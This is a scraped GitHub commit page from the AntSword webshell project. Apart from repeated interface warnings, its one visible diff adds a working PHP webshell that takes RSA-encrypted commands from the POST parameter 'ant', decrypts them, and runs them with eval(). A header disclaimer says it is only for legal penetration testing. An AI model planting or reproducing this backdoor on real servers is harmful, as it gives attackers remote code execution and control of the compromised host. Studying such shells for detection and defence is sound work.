-
Notifications
You must be signed in to change notification settings - Fork 578
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
更新 编码器Encoder,添加扩展参数,添加 RSA 模式,添加 PHP-RSA 示例
- Loading branch information
Showing
17 changed files
with
452 additions
and
201 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
<?php | ||
/** | ||
* _ ____ _ | ||
* __ _ _ __ | |_/ ___|_ _____ _ __ __| | | ||
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` | | ||
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| | | ||
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_| | ||
* ——————————————————————————————————————————————— | ||
* AntSword PHP eval RSA Script | ||
* | ||
* 警告: | ||
* 此脚本仅供合法的渗透测试以及爱好者参考学习 | ||
* 请勿用于非法用途,否则将追究其相关责任! | ||
* ——————————————————————————————————————————————— | ||
* pwd=ant | ||
*/ | ||
$cmd = @$_POST['ant']; | ||
$publicKey = <<<EOF | ||
-----BEGIN PUBLIC KEY----- | ||
Input your Public Key | ||
-----END PUBLIC KEY----- | ||
EOF; | ||
$cmds = explode("|", $cmd); | ||
$publicKey = openssl_pkey_get_public($publicKey); | ||
$cmd = ''; | ||
foreach ($cmds as $value) { | ||
if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) { | ||
$cmd .= $de; | ||
} | ||
} | ||
eval($cmd); | ||
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.